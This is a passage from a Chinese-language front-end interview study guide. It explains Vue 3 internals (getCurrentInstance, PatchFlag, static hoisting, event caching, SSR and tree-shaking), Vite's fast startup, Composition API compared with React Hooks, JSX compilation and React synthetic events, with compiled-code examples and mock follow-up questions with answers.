    若三个字段共同决定同一份派生副作用,watchEffect 能按函数中的实际读取自动跟踪,减少漏加依赖的风险。若不同字段对应不同业务动作或审计要求,应保留明确的 watch,否则触发来源会变得不够直观。

  • 后台表单修改 state.age 后日志没有出现,代码既有 watch(() => state.age, ...) 又有 watchEffect;你会怎样快速区分是依赖没收集还是变更没发生?

    先在赋值点确认 state.age 确实改变,再分别检查 watch 的 getter 是否返回该属性,以及 watchEffect 首次执行时是否读取了它。watchEffect 初始化会执行一次用于收集依赖;若首次都无日志,应继续检查观察器是否实际创建。

  • 组件初始化时必须立即校验一次数据,同时后续只关心 numberRef 的变化;评审中有人坚持只能用 watchEffect,你会如何取舍?

    不必因“立即执行”就固定选择 watchEffect,watch 可通过 immediate: true 在初始化阶段触发,并继续明确监听 numberRef。watchEffect 也会初始化执行,但它自动收集依赖,回调中读取其他响应式值时可能扩大触发范围。

# setup中如何获取组件实例

⚡ 30 秒速记

  • 在setup和其他composition API中没有this

在 setup 和其他 Composition API 回调中不能依赖 this,需要通过 getCurrentInstance() 获取当前组件实例。 因为 setup 执行时组件还没有正式初始化,所以此处的 this 是 undefined。到了 onMounted 阶段,组件已经初始化,可以通过先前取得的实例访问相应数据。若使用 Options API,则仍然可以在 mounted 等选项中照常通过 this 访问组件数据。

  • 在setup和其他composition API中没有this
  • 通过getCurrentInstance获取当前实例
  • 若使用options API可以照常使用this
import { onMounted, getCurrentInstance } from 'vue'

export default {
    name: 'GetInstance',
    data() {
        return {
            x: 1,
            y: 2
        }
    }, 
    setup() { // setup是beforeCreate created合集 组件还没正式初始化
        console.log('this1', this) // undefined

        onMounted(() => {
            console.log('this in onMounted', this) // undefined
            console.log('x', instance.data.x) // 1  onMounted中组件已经初始化了
        })
 
        const instance = getCurrentInstance()
        console.log('instance', instance)
    },
    mounted() {
        console.log('this2', this)
        console.log('y', this.y)
    }
}

💬 面试官追问

  • 一个组件在 setup() 和 onMounted() 里都写了 this.x,本地日志始终是 undefined,但 mounted() 中却能读到 this.x,你如何解释并修正?

    setup 及其中注册的组合式 API 回调没有组件 this,因此 this.x 在两处都不可用;Options API 的 mounted 仍可照常使用 this。确需访问实例时调用 getCurrentInstance(),但应注意挂载前组件尚未完成初始化。

  • 遗留后台组件的 data() 中有 x 和 y,迁移期间必须在组合式逻辑里读取 x;在 setup() 直接读实例数据还是放到 onMounted(),你会怎么处理?

    先在 setup() 同步取得 getCurrentInstance() 返回的当前实例,再在 onMounted() 中读取 instance.data.x,此时组件已经完成相应初始化。若逻辑并不依赖实例,优先直接使用 ref 或 reactive 管理状态,减少对内部实例结构的耦合。

  • 团队准备把一个纯 Options API 页面逐步迁移到 Composition API,但大量工具函数依赖 this;是全面注入实例,还是分阶段改造?

    适合分阶段保留 Options API 中合法的 this 用法,并把新逻辑改为显式参数和组合式状态。getCurrentInstance() 可解决少量过渡需求,却不宜成为所有工具函数的隐式入口,否则迁移后仍保留难测试、强耦合的实例依赖。

  • 线上组件在 setup() 中执行 getCurrentInstance().data.x 偶发拿不到预期值,而相同读取放进 onMounted() 正常;你会沿什么时序排查?

    重点核对读取发生在组件初始化的哪个阶段:setup 对应较早阶段,组件尚未正式初始化,而 onMounted 执行时组件已经挂载。保留实例获取,但把依赖已初始化数据的访问推迟到 onMounted;若仍异常,再确认访问的是当前组件实例。

  • 代码评审中,一方主张所有组合式代码都通过 getCurrentInstance() 访问组件数据,另一方主张完全禁止;你会给出什么边界?

    它适合确实需要当前组件实例的框架衔接或遗留迁移场景,不能替代组合式 API 的显式状态和参数传递。全面禁止会阻断必要能力,全面使用又会恢复类似 this 的隐式依赖;边界应是局部、可说明且受生命周期约束。

# Vue3为何比Vue2快

⚡ 30 秒速记

  • proxy响应式:深度监听,性能更好(获取到哪一层才触发响应式get,不是一次性递归)

Vue3 更快,核心是响应式按需处理,并在编译阶段尽量减少运行时的重复工作。 Proxy 不必初始化时一次性递归整个对象,而是访问到某层时才通过 get 继续处理。模板编译会用 PatchFlag 标记动态内容,并通过 HoistStatic 和 CacheHandler 复用静态节点与事件处理函数。到了 SSR 和构建环节,静态内容可以直接输出字符串,未使用的能力也能通过 Tree-shaking 排除。

  • proxy响应式:深度监听,性能更好(获取到哪一层才触发响应式get,不是一次性递归)
  • PatchFlag 动态节点做标志
  • HoistStatic 将静态节点的定义,提升到父作用域,缓存起来。多个相邻的静态节点,会被合并起来
  • CacheHandler 事件缓存
  • SSR优化: 静态节点不走vdom逻辑,直接输出字符串,动态节点才走
  • Tree-shaking 根据模板的内容动态import不同的内容,不需要就不import

💬 面试官追问

  • 商品详情页只有一个价格文本变化,却有人把 Vue3 更快简单归因于 Proxy;从这次局部更新看,这个解释缺了哪些关键环节?

    Proxy 主要改善响应式依赖建立方式,不能单独解释模板更新更高效。编译器还会用 PatchFlag 标记动态类型、提升静态节点并缓存事件处理器,使运行时更聚焦真正变化的部分;具体收益仍取决于模板结构。

  • 运营落地页包含大量固定文案、少量动态价格和点击事件,你会怎样利用 Vue3 已有的编译优化,而不是手写缓存?

    保持模板中的静态内容可被编译器识别,静态节点可由 HoistStatic 提升,相邻静态内容还可能合并;动态价格由 PatchFlag 标记,事件处理器可被缓存。过度改成运行时拼装会削弱静态分析机会,也增加维护成本。

  • 一个原本以静态展示为主的页面改成全部由配置对象动态生成,负责人仍期待静态提升带来同样收益,你会如何校正预期?

    模板越难在编译期判定为静态,HoistStatic 和静态节点合并可覆盖的范围就越小,更新仍需处理更多动态内容。应先确认配置化的业务价值,再接受相应运行时代价,不能把 Vue3 的编译优化视为无条件加速。

  • 服务端渲染页面首屏变慢,团队怀疑所有节点都走了 vdom;结合 Vue3 的 SSR 优化,你会检查什么?

    先检查模板中本可静态输出的部分是否因动态表达式或配置化写法失去静态特征。Vue3 的 SSR 可让静态节点直接输出字符串,仅动态节点进入相应虚拟 DOM 逻辑;若页面大部分确为动态,该优化的覆盖面自然有限。

  • 组件库负责人只想升级响应式实现,构建负责人则强调模板编译和 Tree-shaking;若目标同时包含更新效率与包体控制,你支持哪种方案?

    两者解决的层面不同,应共同评估:Proxy 改善按访问层级建立响应式,编译优化减少更新工作,Tree-shaking 则让未使用能力不被引入。只替换响应式无法获得全部收益,但最终结果仍受模板写法与构建链路影响。

# 什么是PatchFlag

⚡ 30 秒速记

  • 模板编译时,动态节点做标记

PatchFlag 是 Vue3 在模板编译时给动态节点添加的类型标记,用来缩小运行时更新的检查范围。 比如动态文本会标记为 TEXT,动态类名是 CLASS,动态属性则是 PROPS,多个变化类型还可以组合。这样执行 diff 时,不只能够跳过静态节点,还能直接判断动态节点需要比较文本、类名还是属性。它依赖编译阶段提供的信息,本质上是用更明确的标记换取更少的运行时判断。

  • 模板编译时,动态节点做标记
  • 标记,分为不同类型,如Text、PROPS、CLASS
  • diff算法时,可区分静态节点,以及不同类型的动态节点

<!-- https://vue-next-template-explorer.netlify.app 中打开查看编译结果 -->

<div>
  <span>hello vue3</span>
  <span>{{msg}}</span>
  <span :class="name">poetry</span>
  <span :id="name">poetry</span>
  <span :id="name">{{msg}}</span>
  <span :id="name" :msg="msg">poetry</span>
</div>
// 编译后结果

import { createElementVNode as _createElementVNode, toDisplayString as _toDisplayString, normalizeClass as _normalizeClass, openBlock as _openBlock, createElementBlock as _createElementBlock } from "vue"

export function render(_ctx, _cache, $props, $setup, $data, $options) {
  return (_openBlock(), _createElementBlock("div", null, [
    _createElementVNode("span", null, "hello vue3"),
    _createElementVNode("span", null, _toDisplayString(_ctx.msg), 1 /* TEXT */), // 文本标记1
    _createElementVNode("span", {
      class: _normalizeClass(_ctx.name)
    }, "poetry", 2 /* CLASS */), // class标记2
    _createElementVNode("span", { id: _ctx.name }, "poetry", 8 /* PROPS */, ["id"]), // 属性props标记8
    _createElementVNode("span", { id: _ctx.name }, _toDisplayString(_ctx.msg), 9 /* TEXT, PROPS */, ["id"]), // 文本和属性组合标记9
    _createElementVNode("span", {
      id: _ctx.name,
      msg: _ctx.msg
    }, "poetry", 8 /* PROPS */, ["id", "msg"]) // 属性组合标记
  ]))
}

💬 面试官追问

  • 列表行里只有 {<span class="vp-brace-split" aria-hidden="true"></span>{msg}<span class="vp-brace-split" aria-hidden="true"></span>} 变化,开发者却认为 diff 时仍必须逐项比较该节点的文本、类名和全部属性;编译结果中的 1 /* TEXT */ 能否反驳他?

    可以,TEXT 类型的 PatchFlag 表示编译器已确认该节点的动态部分是文本,更新时可针对这一类型处理,而非盲目检查所有可能变化。它不是“节点永远不参与更新”,静态节点与动态节点仍由编译结果区分。

  • 订单表格有数千个单元格,只有状态文本和少量 class 会变化;评审模板时,你会怎样借助编译结果判断优化是否生效?

    把代表性模板放入编译结果查看器,确认动态文本出现 TEXT、动态类名出现 CLASS,纯静态节点没有相同动态标记。数据规模大时这种定向更新更有价值,但标记由编译器依据模板生成,不应在业务代码中手工猜测。

  • 组件从只绑定 :id="name" 改成同时渲染 {<span class="vp-brace-split" aria-hidden="true"></span>{msg}<span class="vp-brace-split" aria-hidden="true"></span>},编译标记由 8 变成 9;这说明更新约束发生了什么变化?

    原先 8 /* PROPS */ 表示需要关注指定动态属性,加入动态文本后形成 9 /* TEXT, PROPS */ 的组合标记。运行时需要同时处理文本与列出的属性;标记是按位组合结果,不能把 9 当成一种互不相关的新类别。

  • 线上样式更新异常,模板是 <span :class="name">,但你看到的编译产物没有预期的 CLASS 标记;下一步查模板还是查响应式系统?

    先核对实际部署产物是否来自当前模板,并确认绑定仍是可被编译器识别的动态 class,正常示例会生成 2 /* CLASS */。若标记正确却界面不变,再追查 name 的响应式更新;否则应先处理编译或产物不一致。

  • 有人提议运行时遍历所有属性,以避免依赖 PatchFlag;另一个人主张完全跳过未标记节点,你如何评价这两个极端?

    遍历所有属性会放弃编译期已知信息,削弱 PatchFlag 区分文本、类名和属性的价值;完全跳过也不能脱离生成的节点结构随意决定。合理方案是由编译器标注动态范围,运行时按标记执行对应更新,并尊重组合标记。

# 什么是HoistStatic和CacheHandler

⚡ 30 秒速记

  • HoistStatic

HoistStatic 用来复用静态节点,CacheHandler 用来复用事件处理函数,两者都在减少每次渲染时的重复创建。 开启静态提升后,静态节点会被定义到渲染函数外部并缓存,相邻静态节点达到一定条件时还会合并成一个静态节点。事件缓存则会把处理函数放进 _cache,后续渲染直接取用,不必反复生成新的函数。简单来说,这是用额外缓存空间换执行时间,收益主要出现在组件重复渲染的场景。

HoistStatic

  • 将静态节点的定义,提升到父作用域,缓存起来
  • 多个相邻的静态节点,会被合并起来
  • 典型的拿空间换时间的优化策略
<!-- https://vue-next-template-explorer.netlify.app 中打开查看编译结果:options开启hoistStatic -->
<div>
  <span>hello vue3</span>
  <span>hello vue3</span>
  <span>hello vue3</span>
  <span>{{msg}}</span>
</div>
// 编译结果

import { createElementVNode as _createElementVNode, toDisplayString as _toDisplayString, openBlock as _openBlock, createElementBlock as _createElementBlock } from "vue"

// 之后函数怎么执行,这些变量都不会被重复定义一遍
const _hoisted_1 = /*#__PURE__*/_createElementVNode("span", null, "hello vue3", -1 /* HOISTED */)
const _hoisted_2 = /*#__PURE__*/_createElementVNode("span", null, "hello vue3", -1 /* HOISTED */)
const _hoisted_3 = /*#__PURE__*/_createElementVNode("span", null, "hello vue3", -1 /* HOISTED */)

export function render(_ctx, _cache, $props, $setup, $data, $options) {
  return (_openBlock(), _createElementBlock("div", null, [
    _hoisted_1,
    _hoisted_2,
    _hoisted_3,
    _createElementVNode("span", null, _toDisplayString(_ctx.msg), 1 /* TEXT */)
  ]))
}
<!-- https://vue-next-template-explorer.netlify.app 中打开查看编译结果:options开启hoistStatic -->
<!-- 当相同的节点达到一定阈值后会被vue3合并起来 -->
<div>
  <span>hello vue3</span>
  <span>hello vue3</span>
  <span>hello vue3</span>
  <span>hello vue3</span>
  <span>hello vue3</span>
  <span>hello vue3</span>
  <span>hello vue3</span>
  <span>hello vue3</span>
  <span>hello vue3</span>
  <span>hello vue3</span>
  <span>{{msg}}</span>
</div>
// 编译之后

import { createElementVNode as _createElementVNode, toDisplayString as _toDisplayString, createStaticVNode as _createStaticVNode, openBlock as _openBlock, createElementBlock as _createElementBlock } from "vue"

// 多个相邻的静态节点,会被合并起来
const _hoisted_1 = /*#__PURE__*/_createStaticVNode("<span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span>", 10)

export function render(_ctx, _cache, $props, $setup, $data, $options) {
  return (_openBlock(), _createElementBlock("div", null, [
    _hoisted_1,
    _createElementVNode("span", null, _toDisplayString(_ctx.msg), 1 /* TEXT */)
  ]))
}

CacheHandler 缓存事件

<!-- https://vue-next-template-explorer.netlify.app 中打开查看编译结果:options开启cacheHandler -->
<div>
  <span @click="clickHandler">hello vue3</span>
</div>
// 编译之后

import { createElementVNode as _createElementVNode, openBlock as _openBlock, createElementBlock as _createElementBlock } from "vue"

export function render(_ctx, _cache, $props, $setup, $data, $options) {
  return (_openBlock(), _createElementBlock("div", null, [
    _createElementVNode("span", {
      onClick: _cache[0] || (_cache[0] = (...args) => (_ctx.clickHandler && _ctx.clickHandler(...args)))
    }, "hello vue3")
  ]))
}

💬 面试官追问

  • 仪表盘每次状态变化都执行渲染函数,开发者担心三个固定标题节点会被重新定义;开启 hoistStatic 后,编译产物如何改变这一现象?

    静态节点会被定义为渲染函数外的 _hoisted_* 常量,后续执行渲染函数时直接复用,而不是重复创建这些定义。这是以缓存占用换取执行时间;包含动态内容的节点仍留在渲染函数中,不能一并提升。

  • 文章页连续出现十个固定 <span>,只有末尾计数动态变化;编译结果把前十个合成一个 createStaticVNode,工程上有什么收益和限制?

    多个相邻静态节点达到编译器采用合并策略的条件时,可合成一个静态节点并整体复用,减少重复的节点定义与处理。末尾动态计数仍单独生成并带文本标记;不要依赖某个固定阈值,因为来源没有承诺稳定数值。

  • 按钮原先使用 @click="clickHandler",后来处理函数需要根据渲染过程临时生成;负责人仍要求 CacheHandler 保持同样效果,你会如何判断?

    标准方法引用可编译为 _cache[0] || (_cache[0] = ...),避免每次渲染都创建新的事件包装函数。若处理逻辑必须随每次渲染捕获不同值,就不能盲目复用旧缓存;应先保证语义正确,再评估缓存是否仍适用。

  • 线上页面更新后点击行为仍像旧逻辑,编译产物中事件函数使用了 _cache[0];你会怎样区分缓存错误与业务状态没有更新?

    先确认缓存的是事件处理器包装函数,而不是把业务执行结果缓存下来;调用时仍会访问 _ctx.clickHandler。随后检查实例上的处理方法是否确实更新、部署产物是否一致,不能仅因出现 _cache[0] 就认定旧业务逻辑被固化。

  • 性能评审中,一方要求把所有节点手动缓存,另一方认为只靠 PatchFlag 足够;静态提升、事件缓存和动态标记应怎样分工?

    HoistStatic 复用静态节点定义,CacheHandler 复用事件处理器包装,PatchFlag 则提示运行时动态节点具体变化类型。三者作用对象不同,可由编译器协同使用;手动全面缓存会增加状态与失效风险,仅靠动态标记也替代不了静态复用。

# SSR和Tree-shaking的优化

⚡ 30 秒速记

  • 静态节点直接输出,绕过了vdom

Vue3 的 SSR 优化减少了静态内容的虚拟 DOM 开销,Tree-shaking 则避免把模板没有使用的能力打进结果中。 服务端渲染时,静态节点可以直接拼成字符串输出并绕过 vdom,动态节点仍然需要根据数据进行渲染。编译模板时,也会按照指令、插值和具体功能按需引入对应 API,而不是统一引用全部接口。两者解决的问题不同:前者优化服务端渲染路径,后者侧重减少不必要的代码引用。

SSR优化

  • 静态节点直接输出,绕过了vdom
  • 动态节点,还是需要动态渲染
<!-- https://vue-next-template-explorer.netlify.app 中打开查看编译结果:options开启ssr -->
<div>
  <span>hello vue3</span>
  <span>hello vue3</span>
  <span>hello vue3</span>
  <span>{{msgs}}</span>
</div>
// 编译之后

import { mergeProps as _mergeProps } from "vue"
import { ssrRenderAttrs as _ssrRenderAttrs, ssrInterpolate as _ssrInterpolate } from "vue/server-renderer"

export function ssrRender(_ctx, _push, _parent, _attrs, $props, $setup, $data, $options) {
  const _cssVars = { style: { color: _ctx.color }}
  _push(`<div${
    _ssrRenderAttrs(_mergeProps(_attrs, _cssVars))
  }><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>${ // 静态节点直接输出
    _ssrInterpolate(_ctx.msgs)
  }</span></div>`)
}

Tree Shaking优化

编译时,根据不同的情况,引入不同的API,不会全部引用

<!-- https://vue-next-template-explorer.netlify.app 中打开查看编译结果 -->
<div>
  <span v-if="msg">hello vue3</span>
  <input v-model="msg" />
</div>
// 编译之后

// 模板编译会根据模板写法 指令 插值以及用了特别的功能去动态的import相应的接口,需要什么就import什么,这就是tree shaking
import { openBlock as _openBlock, createElementBlock as _createElementBlock, createCommentVNode as _createCommentVNode, vModelText as _vModelText, createElementVNode as _createElementVNode, withDirectives as _withDirectives } from "vue"

export function render(_ctx, _cache, $props, $setup, $data, $options) {
  return (_openBlock(), _createElementBlock("div", null, [
    (_ctx.msg)
      ? (_openBlock(), _createElementBlock("span", { key: 0 }, "hello vue3"))
      : _createCommentVNode("v-if", true),
    _withDirectives(_createElementVNode("input", {
      "onUpdate:modelValue": $event => ((_ctx.msg) = $event)
    }, null, 8 /* PROPS */, ["onUpdate:modelValue"]), [
      [_vModelText, _ctx.msg]
    ])
  ]))
}

💬 面试官追问

  • 商品详情页做 SSR 时,模板里有三段固定文案和一个随库存变化的 msgs,同事说服务端仍要为整棵树创建 vnode,你怎么用编译结果反驳?

    固定文案可被编译进字符串并由 _push 直接输出,不必为这些静态节点创建完整 vnode;动态的 msgs 仍通过 _ssrInterpolate 求值。优化边界由静态分析决定,包含动态属性或条件分支的部分不能按纯静态字符串处理。

  • 营销落地页包含上千个静态标签,只有价格和用户名动态变化,你会怎样确认 SSR 编译优化确实生效?

    查看服务端模板的编译产物,确认大段静态结构被合并为直接输出的字符串,动态值才调用插值或属性辅助函数。再对照服务端渲染耗时与产物行为,但不能只凭页面节点多就断言收益,模板结构和运行环境也会影响结果。

  • 组件库负责人要求所有运行时能力一次性打进包里,业务负责人则强调 Tree Shaking,模板只有 v-if 和文本框 v-model,你支持哪种方案?

    应保留按模板能力导入运行时接口的方式,例如只引入块创建、注释节点、vModelText 和指令包装等实际依赖。全量引入会削弱未使用代码消除的空间,但最终能否移除还依赖构建工具、模块格式及副作用标记,不能把按需导入等同于必然零冗余。

  • 升级模板写法后客户端包突然变大,代码里只新增了一个指令,构建没有报错,你会从哪里定位?

    先比较升级前后的模板编译结果和模块依赖图,确认新增指令是否带入新的运行时辅助函数,再用产物分析定位实际增长模块。若依赖以非静态方式导入、被标记为有副作用或构建配置改变,Tree Shaking 可能失效,不能只删除业务代码碰运气。

  • 架构评审中有人把 SSR 静态字符串输出和客户端 Tree Shaking 说成同一种优化,你会怎样划清边界?

    两者都依赖编译期分析,但优化对象不同:前者减少服务端渲染静态节点时的运行时工作,后者通过按需导入为构建阶段移除未使用代码创造条件。一个主要影响请求期渲染路径,一个主要影响交付代码;任何一方都不能替代缓存、拆包或动态内容治理。

# Vite 为什么启动非常快

⚡ 30 秒速记

  • 开发环境使用Es6 Module,无需打包,非常快

Vite 启动快的核心原因是开发环境直接使用浏览器原生的 ES Module,不需要先打包整个项目。 浏览器访问页面时,会根据 import 按需请求对应模块,因此服务可以很快启动。原生模块既支持本地和远程引用,也支持通过 import() 动态加载。这个优势主要体现在开发阶段,生产构建仍然使用 Rollup,速度并不会因此快很多。

  • 开发环境使用Es6 Module,无需打包,非常快
  • 生产环境使用rollup,并不会快很多

ES Module 在浏览器中的应用

<p>基本演示</p>
<script type="module">
    import add from './src/add.js'

    const res = add(1, 2)
    console.log('add res', res)
</script>
<script type="module">
    import { add, multi } from './src/math.js'
    console.log('add res', add(10, 20))
    console.log('multi res', multi(10, 20))
</script>
<p>外链引用</p>
<script type="module" src="./src/index.js"></script>
<p>远程引用</p>
<script type="module">
    import { createStore } from 'https://unpkg.com/redux@latest/es/redux.mjs' // es module规范mjs
    console.log('createStore', createStore)
</script>
<p>动态引入</p>
<button id="btn1">load1</button>
<button id="btn2">load2</button>

<script type="module">
    document.getElementById('btn1').addEventListener('click', async () => {
        const add = await import('./src/add.js')
        const res = add.default(1, 2)
        console.log('add res', res)
    })
    document.getElementById('btn2').addEventListener('click', async () => {
        const { add, multi } = await import('./src/math.js')
        console.log('add res', add(10, 20))
        console.log('multi res', multi(10, 20))
    })
</script>

💬 面试官追问

  • 一个有数千模块的后台项目启动时,同事说 Vite 快是因为开发环境也用 Rollup 提前打完整包,你会怎样纠正?

    开发启动快的关键是利用浏览器原生 ES Module,无需在启动前把整个应用完成打包,而是让入口通过模块请求继续加载依赖。生产构建仍使用 Rollup,因此不能把开发冷启动优势直接推导成生产构建也同样快。

  • 本地管理页通过 <script type="module"> 加载入口,点击报表按钮后才需要图表模块,你会如何组织加载以保留启动优势?

    入口可保持原生模块引用,图表能力在按钮事件中用 import() 动态加载,使未触发的功能不必在初始执行路径中立即请求。这样减少的是启动阶段必须处理的模块范围,但首次点击仍要承担网络请求和模块解析成本,需要结合交互时机判断是否预加载。

  • 内网旧浏览器不能稳定执行原生 ES Module,但产品经理仍要求沿用同样的开发启动模型,你会指出什么约束?

    该启动模型依赖浏览器理解 type="module"、静态 import 和动态 import();目标环境缺少这些能力时,原生模块链路就不能直接成立。可以增加转换或兼容层,但这会引入预处理与维护成本,也可能削弱无需预打包带来的启动优势。

  • 开发服务器瞬间启动,但首次打开一个依赖很多模块的页面仍然很慢,负责人质疑“无需打包”没有效果,你会怎么排查?

    服务启动快不代表页面模块全部加载完成,浏览器仍需沿依赖图发起请求、解析并执行各个 ES Module。应检查网络瀑布、模块数量、远程依赖和动态导入触发点;若瓶颈在首次请求链路,就要治理依赖规模,而不是只比较启动命令耗时。

  • 技术选型会上,一方用开发启动速度支持全链路采用原生模块,另一方要求生产继续打包,你如何裁决?

    开发阶段可利用原生 ES Module 避免完整预打包,从而缩短启动等待;生产阶段仍适合交给 Rollup 生成部署产物。两种路径服务于不同目标,开发体验不能替代生产环境对资源组织、兼容性和交付稳定性的要求。

# Composition API 和 React Hooks 的对比

⚡ 30 秒速记

  • 前者setup(相当于created、beforeCreate的合集)只会调用一次,而React Hooks函数在渲染过程中会被多次调用

Composition API 的 setup 通常只执行一次,而组件渲染过程中,React Hooks 所在的函数会被多次调用。 因为变量可以保存在 setup 的闭包里,所以一般不需要像 React 那样使用 useMemo、useCallback 缓存。它也不依赖固定的调用顺序,而 Hooks 不能随意放进循环或条件判断。取舍上,Composition API 的 ref、reactive 相比 useState 会更难理解一些。

  • 前者setup(相当于created、beforeCreate的合集)只会调用一次,而React Hooks函数在渲染过程中会被多次调用
  • Composition API无需使用useMemo、useCallback,因为setup只会调用一次,在setup闭包中缓存了变量
  • Composition API无需顾虑调用顺序,而React Hooks需要保证hooks的顺序一致(比如不能放在循环、判断里面)
  • Composition API的ref、reactive比useState难理解

💬 面试官追问

  • 搜索页每次输入都会重新渲染,候选人说 Vue 的 setup 和 React 函数组件一样会随每次渲染重新执行,所以两边都必须给所有函数加 useCallback,你怎么判断?

    这一推断不成立:setup 通常在组件实例建立时执行一次,其闭包中的变量可被保留;React 函数组件及其中的 Hooks 会随渲染再次调用。Vue 因此不需要照搬 useMemo、useCallback,但响应式更新本身仍可能带来计算或渲染成本。

  • 表单页有二十个字段和多个校验逻辑,团队要把逻辑抽成 Vue 组合函数或 React 自定义 Hook,调用位置该怎样约束?

    Vue 组合函数可在 setup 中按业务结构组织,不依赖每次渲染时严格复现同一调用序列;React 自定义 Hook 必须保持调用顺序稳定,不能放进条件或循环。抽取后仍要明确状态归属和清理时机,否则只是换了文件位置,并未降低耦合。

  • 权限页只有管理员才需要订阅审计数据,产品要求条件成立时才初始化逻辑;Vue 和 React 分别应怎样处理?

    Vue 可在单次执行的 setup 中按条件组织普通组合逻辑,但仍需关注由此形成的组件实例生命周期;React 不能条件调用 Hook,应始终调用并把条件放到 Hook 内部或副作用逻辑中。若权限会运行时变化,还要验证订阅能否正确建立与释放。

  • React 列表页切换筛选条件后读到旧值,而迁移到 Vue 的版本没有复现,排查时你会关注两套执行模型的什么差异?

    React 函数组件反复执行,每次渲染都会形成新的闭包,应检查异步回调是否捕获旧状态以及依赖是否完整。Vue 的 setup 闭包通常只建立一次,并通过 ref 或 reactive 读取响应式值;这不代表天然无故障,错误解构响应式对象也可能丢失响应性。

  • 新团队熟悉 useState,却认为 Vue 的 ref、reactive 更难理解,因此要在所有项目统一使用 React,你会怎样评价这个选型依据?

    学习成本是真实约束,ref、reactive 的访问和响应式语义确实比单一的状态设置模型更容易混淆。但框架选择还应结合执行模型、团队经验和现有生态,不能只凭一个 API 的直观程度裁决;统一技术栈也会牺牲迁移和重写成本。

# 6 React

# JSX本质

⚡ 30 秒速记

  • React.createElement 即h函数,返回vnode

JSX 本质上是 React.createElement 的语法糖,编译后会生成调用表达式并返回 vnode。 第一个参数决定节点类型:字符串表示原生 HTML 标签,组件变量则表示自定义组件。属性、样式和事件会进入 props,文本、列表及嵌套元素会作为子节点继续转换。由于 React 需要区分组件和标签,自定义组件名的首字母必须大写。

  • React.createElement 即h函数,返回vnode
  • 第一个参数,可能是组件,也可能是html tag
  • 组件名,首字母必须是大写(React规定)
// React.createElement写法
React.createElement('tag', null, [child1,child2])
React.createElement('tag', props, child1,child2,child3)
React.createElement(Comp, props, child1,child2,'文本节点')
// jsx基本用法
<div className="container">
  <p>tet</p>
  <img src={imgSrc} />
</div>

// 编译后 https://babeljs.io/repl
React.createElement(
  "div",
  {
    className: "container"
  },
  React.createElement("p", null, "tet"),
  React.createElement("img", {
    src: imgSrc
  })
);
// jsx style
const styleData = {fontSize:'20px',color:'#f00'}
const styleElem = <p style={styleData}>设置style</p>

// 编译后
const styleData = {
  fontSize: "20px",
  color: "#f00"
};
const styleElem = React.createElement(
  "p",
  {
    style: styleData
  },
  "\u8BBE\u7F6Estyle"
);
// jsx加载组件
const app = <div>
    <Input submitTitle={onSubmitTitle} />
    <List list={list} />
</div>

// 编译后
const app = React.createElement(
  "div",
  null,
  React.createElement(Input, {
    submitTitle: onSubmitTitle
  }),
  React.createElement(List, {
    list: list
  })
);
// jsx事件
const eventList = <p onClick={this.clickHandler}>text</p>

// 编译后
const eventList = React.createElement(
  "p",
  {
    onClick: (void 0).clickHandler
  },
  "text"
);
// jsx列表
const listElem = <ul>
{
  this.state.list.map((item,index)=>{
    return <li key={index}>index:{index},title:{item.title}</li>
  })
 }
</ul>

// 编译后

const listElem = React.createElement(
  "ul",
  null,
  (void 0).state.list.map((item, index) => {
    return React.createElement(
      "li",
      {
        key: index
      },
      "index:",
      index,
      ",title:",
      item.title
    );
  })
);

💬 面试官追问

  • 订单页里 <button> 能渲染,改成 <buttonCard> 后却没有执行同名组件函数;同事说 JSX 会按变量名自动识别组件,你怎么解释?

    JSX 编译后会把小写标签作为字符串标签传给元素创建函数,而大写名称会作为组件变量传入,因此自定义组件应写成 <ButtonCard>。这不是浏览器在运行时猜测名称;变量未导入或值无效时,即使首字母大写也仍会失败。

  • 列表页要生成一千行商品,评审要求你不用 JSX 写出一行等价代码,以证明理解编译结果,你会保留哪些参数?

    应把标签或组件作为第一个参数、属性对象作为第二个参数,并把文本及其他节点作为后续子节点传给 React.createElement。列表映射仍返回元素,key 放在属性对象中;等价改写只说明语法转换,不意味着一千行的渲染成本会自动下降。

  • 团队准备从旧的 React.createElement 编译配置切到另一套 JSX 转换方式,但面试题只给出了经典产物,你能下什么结论?

    能确定的是 JSX 需要先转换为创建元素的调用,并最终形成描述界面的 vnode 类结构;给定源码展示的是 React.createElement 形式。不能据此断言所有工具链都生成完全相同的调用,判断时应以项目实际编译配置和产物为准。

  • 线上详情页点击文字没有反应,源码写的是 <p onClick={this.clickHandler}>,编译产物里的处理器却变成了无效对象上的 clickHandler,你怎么定位?

    先确认 JSX 所在词法环境中的 this 是否有效,以及方法是否正确绑定,再检查编译前后代码是否被额外转换。JSX 只会把表达式结果放进 onClick 属性,不会替开发者修复错误上下文;处理器引用无效时,创建元素成功也无法保证事件执行。

  • 可排序列表使用数组下标作为 key,负责人说 key 最终只是 createElement 的一个属性,所以不会影响更新,你如何回应?

    编译结果确实会把 key 放进元素配置,但它承担列表节点身份标识,不只是传给页面的普通展示属性。排序、插入或删除时使用下标可能让身份随位置变化,造成复用判断偏离业务实体;稳定业务标识更合适,但静态且不重排的列表风险较低。

# React合成事件机制

⚡ 30 秒速记

  • React16事件绑定到document上

React 会把浏览器事件封装成 SyntheticEvent,再通过统一的事件委托机制进行管理。 React 16 将事件绑定到 document,React 17 则改为绑定到根节点,这更适合多个 React 版本共存的微前端场景。合成事件提供类似原生事件的能力,需要原始对象时可以读取 event.nativeEvent。这样做能改善兼容性和跨平台能力,也能减少逐个绑定、解绑事件带来的内存消耗。

  • React16事件绑定到document上
  • React17事件绑定到root组件上,有利于多个react版本共存,例如微前端
  • event不是原生的,是SyntheticEvent合成事件对象
  • 和Vue不同,和DOM事件也不同

合成事件图示

为何需要合成事件

  • 更好的兼容性和跨平台,如react native
  • 挂载到document或root上,减少内存消耗,避免频繁解绑
  • 方便事件的统一管理(如事务机制)
// 获取 event
clickHandler3 = (event) => {
    event.preventDefault() // 阻止默认行为
    event.stopPropagation() // 阻止冒泡
    console.log('target', event.target) // 指向当前元素,即当前元素触发
    console.log('current target', event.currentTarget) // 指向当前元素,假象!!!

    // 注意,event 其实是 React 封装的。可以看 __proto__.constructor 是 SyntheticEvent 组合事件
    console.log('event', event) // 不是原生的 Event ,原生的 MouseEvent
    console.log('event.__proto__.constructor', event.__proto__.constructor)

    // 原生 event 如下。其 __proto__.constructor 是 MouseEvent
    console.log('nativeEvent', event.nativeEvent)
